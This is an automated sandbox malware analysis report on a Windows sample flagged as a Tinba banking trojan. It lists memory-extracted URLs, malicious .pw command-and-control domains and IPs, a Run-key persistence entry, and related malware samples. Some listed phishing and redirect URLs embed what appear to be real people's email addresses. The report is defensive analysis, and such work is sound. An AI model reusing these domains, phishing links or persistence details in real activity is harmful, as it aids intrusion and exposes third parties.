https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 00000003.00000002.3050739275.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713964202.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://powerpoint.office.comxee	StartMenuExperienceHost.exe, 00000009.00000000.1801470015.000001B98144E000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2985059501.000001B98144E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.com_	explorer.exe, 00000003.00000000.1717782304.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3110068499.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://rafd.https://r.a	SearchApp.exe, 0000000B.00000000.1848016538.0000024B4434A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://xsts.auth.xboxlive.com/	svchost.exe, 00000005.00000002.2994520970.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.net	svchost.exe, 00000005.00000002.2994520970.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1840976922.0000024B4248E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000003.00000000.1713964202.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://powerpoint.office.comcember	explorer.exe, 00000003.00000000.1717782304.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3110068499.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xsts.auth.xboxlive.com	svchost.exe, 00000005.00000002.2994520970.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1845305822.0000024B4402B000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1840976922.0000024B4248E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 00000003.00000000.1714711719.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1716586529.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1715110391.0000000008720000.00000002.00000001.00040000.00000000.sdmp, RuntimeBroker.exe, 0000000A.00000002.3035088754.000001ECFC470000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.office.com/	SearchApp.exe, 0000000B.00000000.1825933991.0000024341100000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/sports?OCID=WSB_TL_EL&PC=wsbmsnqs	SearchApp.exe, 0000000B.00000000.1933132623.0000024B58760000.00000004.00000001.00040000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1845864904.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.local	svchost.exe, 00000005.00000000.1792087388.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2993202471.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ng.com	SearchApp.exe, 0000000B.00000000.1840976922.0000024B4248E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.office.com/User.ReadWrite	SearchApp.exe, 0000000B.00000000.1825933991.0000024341100000.00000004.00000001.00020000.00000000.sdmp	false		high
https://substrate.office.com/imageB2/v1.0/users/	SearchApp.exe, 0000000B.00000000.1825933991.0000024341100000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/weather?OCID=WSB_QS_WE&PC=wsbmsnqs	SearchApp.exe, 0000000B.00000000.1933132623.0000024B58760000.00000004.00000001.00040000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1845864904.0000024B44184000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1884964111.0000024B55240000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/	SearchApp.exe, 0000000B.00000000.1879521352.0000024B54E44000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/q	explorer.exe, 00000003.00000000.1715884676.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3084368988.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://substrate.office.com/search/api	SearchApp.exe, 0000000B.00000000.1848683308.0000024B443C2000.00000004.00000001.00020000.00000000.sdmp	false		high
https://xsts.auth.xboxlive.comm	SearchApp.exe, 0000000B.00000000.1845305822.0000024B4402B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713964202.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://raka.rms_noco-VK	SearchApp.exe, 0000000B.00000000.1848016538.0000024B4434A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://loki.delve.office.com/api	SearchApp.exe, 0000000B.00000000.1848683308.0000024B443C2000.00000004.00000001.00020000.00000000.sdmp	false		high
https://searchapp.bundleassets.example/desktop/2.html	SearchApp.exe, 0000000B.00000000.1834242505.0000024B41E30000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.activity.windows.comer	svchost.exe, 00000005.00000000.1792087388.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2993202471.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/news?OCID=WSB_QS_NE&PC=wsbmsnqshttps://www.msn.com/sports?OCID=WSB_TL_EL&PC=wsbm	SearchApp.exe, 0000000B.00000000.1884964111.0000024B55240000.00000004.00000001.00020000.00000000.sdmp	false		high
https://reactjs.org/docs/error-decoder.html?invariant=	SearchApp.exe, 0000000B.00000000.1878822933.0000024B54DA0000.00000004.00000001.00040000.00000000.sdmp	false		high
https://assets.activity.windows.coms	svchost.exe, 00000005.00000000.1792028423.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2989605632.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=wsb	SearchApp.exe, 0000000B.00000000.1840976922.0000024B4248E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.comt	svchost.exe, 00000005.00000000.1792028423.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2989605632.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.windows.local/	svchost.exe, 00000005.00000000.1792087388.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2993202471.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/Vh5j3k	explorer.exe, 00000003.00000000.1713964202.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?&	explorer.exe, 00000003.00000002.3084368988.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1715884676.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://fb.me/react-polyfills	SearchApp.exe, 0000000B.00000000.1878822933.0000024B54DA0000.00000004.00000001.00040000.00000000.sdmp	false		high
https://api.msn.com/	explorer.exe, 00000003.00000000.1715884676.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3084368988.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.activity.windows.com	svchost.exe, 00000005.00000000.1792087388.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792028423.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2993202471.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2989605632.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.com	svchost.exe, 00000005.00000002.2994520970.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792028423.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2989605632.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://excel.office.comcp	StartMenuExperienceHost.exe, 00000009.00000000.1801470015.000001B98144E000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2985059501.000001B98144E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com:443/en-us/feed	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.activity.windows.com/v1/assets/$batch	svchost.exe, 00000005.00000002.2994520970.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792028423.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2989605632.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 00000005.00000000.1792057093.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2991250120.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
216.218.185.162	vcklmnnejwxx.pw	United States	6939	HURRICANEUS	true
104.131.68.180	uyhgqunqkxnx.pw	United States	14061	DIGITALOCEAN-ASNUS	true
173.222.162.32	unknown	United States	35994	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1364228
Start date and time:	2023-12-19 00:40:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	35
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	java.exe
Detection:	MAL
Classification:	mal100.bank.expl.evad.winEXE@10/10@4/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 123 Number of non-executed functions: 68
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: java.exe

Simulations

Behavior and APIs

Time	Type	Description
00:41:03	API Interceptor	581x Sleep call for process: explorer.exe modified
00:41:10	API Interceptor	1x Sleep call for process: winver.exe modified
23:41:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run E38A1E29 C:\Users\user\AppData\Roaming\E38A1E29\bin.exe
23:41:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run E38A1E29 C:\Users\user\AppData\Roaming\E38A1E29\bin.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
216.218.185.162	3G36K54KKw.exe	Get hash	malicious	Tinba	Browse	ve0t182er814kok.cc/vet0up7gj67sdhjd17up0er/
	http://hbjtorutqkl.org	Get hash	malicious	Unknown	Browse	hbjtorutqkl.org/
	http://www.paypr.com	Get hash	malicious	Unknown	Browse	www.paypr.com/
	Fxj6eiNUQ1.exe	Get hash	malicious	Unknown	Browse	mypark.cc/qa/
	1boDHMvtCl.exe	Get hash	malicious	Tinba	Browse	vcklmnnejwxx.pw/EiDQjNbWEQ/
	N7B5dyjbIS.exe	Get hash	malicious	Tinba	Browse	vcklmnnejwxx.pw/EiDQjNbWEQ/
	bhiDwU4Geh.exe	Get hash	malicious	Tinba	Browse	qvvksmeemfgd.com/spam/
	K73CgOgVZ9.exe	Get hash	malicious	Tinba	Browse	qvvksmeemfgd.com/spam/
	I90gcqKK3m.exe	Get hash	malicious	Tinba	Browse	ggvruxovlbrm.com/spam/
	KlNXUPV2V9.exe	Get hash	malicious	Tinba	Browse	qvvksmeemfgd.com/spam/
	26cCgegATh.exe	Get hash	malicious	Tinba	Browse	spaines.pw/EiDQjNbWEQ/
	4jNfjcMzST.exe	Get hash	malicious	Tinba	Browse	spaines.pw/EiDQjNbWEQ/
	PFubud554p.exe	Get hash	malicious	Tinba	Browse	vcklmnnejwxx.pw/EiDQjNbWEQ/
	xST04RvuDH.exe	Get hash	malicious	Tinba	Browse	spaines.pw/EiDQjNbWEQ/
	rTv7jUz1P5.exe	Get hash	malicious	Tinba	Browse	spaines.pw/EiDQjNbWEQ/
	6phPAtxcUR.exe	Get hash	malicious	Tinba	Browse	cmnsgscccrej.pw/EiDQjNbWEQ/
	IPwhmF3OZ3.exe	Get hash	malicious	Tinba	Browse	vcklmnnejwxx.pw/EiDQjNbWEQ/
	sZ8q0q3VNz.exe	Get hash	malicious	Tinba	Browse	vcklmnnejwxx.pw/EiDQjNbWEQ/
	W7jhZtyX7H.exe	Get hash	malicious	Tinba	Browse	spaines.pw/EiDQjNbWEQ/
	j6qWx4m2sT.exe	Get hash	malicious	Tinba	Browse	spaines.pw/EiDQjNbWEQ/
173.222.162.32	p2pWin.exe	Get hash	malicious	Petya / NotPetya, Mimikatz	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
uyhgqunqkxnx.pw	1boDHMvtCl.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	N7B5dyjbIS.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	PFubud554p.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	6phPAtxcUR.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	IPwhmF3OZ3.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	sZ8q0q3VNz.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	deOHDeSfAr.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	o2tow8Yiis.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	S6bS8zCitm.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	eddLVK4Ak8.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	oaCC6gQGMe.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	Mb5ahRznK0.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	cBn0fkHo3x.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	s81nbT3Zep.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	tHgi7eqSU8.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	Se7RDF9xyE.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	i3kLBdupx2.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	sNZuv8N8pu.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	5ylKBM0tAz.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	FS3155eJI6.exe	Get hash	malicious	Unknown	Browse	192.42.116.41
vcklmnnejwxx.pw	1boDHMvtCl.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	N7B5dyjbIS.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	PFubud554p.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	6phPAtxcUR.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	IPwhmF3OZ3.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	sZ8q0q3VNz.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	deOHDeSfAr.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	o2tow8Yiis.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	S6bS8zCitm.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	eddLVK4Ak8.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	oaCC6gQGMe.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	Mb5ahRznK0.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	cBn0fkHo3x.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	s81nbT3Zep.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	tHgi7eqSU8.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	Se7RDF9xyE.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	i3kLBdupx2.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	sNZuv8N8pu.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	5ylKBM0tAz.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	FS3155eJI6.exe	Get hash	malicious	Unknown	Browse	216.218.185.162

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DIGITALOCEAN-ASNUS	20231218_010.doc	Get hash	malicious	FormBook	Browse	164.90.244.158
	PO_CW20188797-A_&_CW201.exe	Get hash	malicious	Lokibot	Browse	178.128.238.137
	https://tinyurl.com/4zsnub78/SubscribeClick?e7wr=lv4&rrfg3nks=jennifer.m.franklin@instaloan.com&vus2vbx=&d%20and%20two=background%20and%20two%20admirable%20uncles%20skipping%20to%20the%20beat	Get hash	malicious	Unknown	Browse	206.189.204.92
	EFT_INV_HST-859_BL-07585900[1139360]_Copy.exe	Get hash	malicious	FormBook	Browse	167.172.228.26
	VS0880000452_202312.exe	Get hash	malicious	Lokibot	Browse	178.128.238.137
	B843BuO7i3.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	165.227.156.49
	nig.arm4.elf	Get hash	malicious	Mirai	Browse	157.245.157.92
	nig.x86_64.elf	Get hash	malicious	Mirai	Browse	157.245.39.2
	ABNCCDC.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	x86_64-20231216-1226.elf	Get hash	malicious	Mirai	Browse	157.245.190.0
	x86-20231216-1225.elf	Get hash	malicious	Mirai	Browse	157.230.139.126
	FedEx_AWB#_860123307167.exe	Get hash	malicious	Lokibot	Browse	178.128.238.137
	SaLY22oLht.exe	Get hash	malicious	Unknown	Browse	178.62.199.248
	SaLY22oLht.exe	Get hash	malicious	Unknown	Browse	37.139.22.180
	https://secure.adnxs.com/clktrb?id=715942&redir=//r20.rs6.net/tn.jsp?f=001tiYiWcQ5xE1RcgIdR6KjLH5mr9sV74jFghn4YxPi2VTAeE5_kxJaxKpdau4wKm3vL0rEq7uxvAeM9wtglQJZH0fHg06kk4jlU5ejFFYKytXAqHXqyhDrSzhvrWPk3o48CB6eo9LxgjkUc0BXymcx7goWXvuosFGsluJgfm6v5ekgUgwys8mDCg==&c=&ch===&__=/UsaroofingPaul1575581169108//dcole@chemungcanal.com	Get hash	malicious	Unknown	Browse	5.101.109.44
	http://myservices-update-info-canada-anusanaefra56511302.codeanyapp.com/npp/page_settings/login.php	Get hash	malicious	Unknown	Browse	45.55.112.74
	x86-20231214-2132.elf	Get hash	malicious	Mirai	Browse	185.14.184.247
	https://secure.adnxs.com/clktrb?id=715942&redir=//r20.rs6.net/tn.jsp?f=001tiYiWcQ5xE1RcgIdR6KjLH5mr9sV74jFghn4YxPi2VTAeE5_kxJaxKpdau4wKm3vL0rEq7uxvAeM9wtglQJZH0fHg06kk4jlU5ejFFYKytXAqHXqyhDrSzhvrWPk3o48CB6eo9LxgjkUc0BXymcx7goWXvuosFGsluJgfm6v5ekgUgwys8mDCg==&c=&ch===&__=/UsaroofingPaul1575581169108//shanker.koti@jda.com	Get hash	malicious	Unknown	Browse	5.101.109.44
	https://sanfranciscotours.net/	Get hash	malicious	Unknown	Browse	165.227.59.130
	x86-20231214-0641.elf	Get hash	malicious	Mirai	Browse	157.230.184.230
HURRICANEUS	3G36K54KKw.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	imaginebeingarm7.elf	Get hash	malicious	Mirai, Moobot	Browse	170.199.208.0
	2YRmJ2lhap.exe	Get hash	malicious	Unknown	Browse	72.52.84.202
	L8PCdNq0xs.elf	Get hash	malicious	Mirai	Browse	184.104.188.104
	22iXhC1ACX.elf	Get hash	malicious	Mirai	Browse	5.152.182.52
	oBtxppgLWB.elf	Get hash	malicious	Mirai	Browse	216.218.165.228
	z0r0.x86.elf	Get hash	malicious	Mirai	Browse	72.14.64.79
	5aHdc3wOqU.elf	Get hash	malicious	Mirai	Browse	173.242.57.34
	Ok003hLQXE.elf	Get hash	malicious	Mirai	Browse	72.14.64.64
	PPh4qGlopz.elf	Get hash	malicious	Unknown	Browse	184.104.158.219
	QbQ0spd3GB.elf	Get hash	malicious	Mirai	Browse	209.135.12.122
	zjkV4N6A5M.elf	Get hash	malicious	Mirai	Browse	65.49.39.198
	2EDcea0dMU.elf	Get hash	malicious	Mirai	Browse	65.49.39.187
	shellx86.elf	Get hash	malicious	Mirai	Browse	64.209.57.27
	https://storage.googleapis.com/ufdufdjsdgssd/sdsdsd.html#76vcehxnjljkp4.pxnSNbPhXqGHed?xlnhhxqyptimqm=vogevumbsrslljMWljdXpvcDAwMDZiMTAwMWJscjAyMDJ1MGEwMjgxMTQzMzRwZA==	Get hash	malicious	Phisher	Browse	65.49.76.53
	sora.arm.elf	Get hash	malicious	Mirai	Browse	72.14.64.79
	5jDiu75EIe.elf	Get hash	malicious	Mirai, Moobot	Browse	184.104.7.252
	AIreW57ZMM.elf	Get hash	malicious	Mirai	Browse	216.218.165.242
	pLGv5w2Wz0.elf	Get hash	malicious	Unknown	Browse	158.51.161.239
	0xh0roxxnavebusyoo.arm.elf	Get hash	malicious	Unknown	Browse	184.104.218.117
AKAMAI-ASUS	1grVKS95J5.exe	Get hash	malicious	Glupteba, RedLine, RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	184.51.209.125
	S34LLQSfIU.exe	Get hash	malicious	Glupteba, RedLine, RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	23.61.62.118
	oQsL23PPyy.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar	Browse	23.61.62.118
	HMK6TwkL34.exe	Get hash	malicious	Glupteba, RedLine, RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	23.61.62.118
	zvGSCtUUQr.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar	Browse	23.61.62.118
	https://engagement.keapapis.com/v2/click/e2889f2c7e0696e172876ccf880679e7/eJyNkFtvgzAMhf9LnqH0RqFI09TSCiHaTtr1EaXEG9EgsYIp6ir--8I2bS-btEfbx5_P8YURKK4oFSxigubTJXOYgUKiBEWxVsSLj6E_9sNw6bBKqtfE6BZZdPlt93s-dGeLRRA4jM4IVnJ_u4qz9JDku_SQWSlyY2_8hxMG_nT-A9ruV-mO9f2fZKglbU8W3rCITAtDJCFtLHowldWXRNhEntd13YjX_E2rUaFrLzEcS6jBvTFU6pehkoW750piW3GSJ2jcjW6PFbh3UoBwn0pJcNTcCE-gtx6vN3Ewmcwerw0851e8obwhnQu0ljgiKPH10AzOn8b6d6Xxf3c=	Get hash	malicious	Unknown	Browse	23.221.212.197
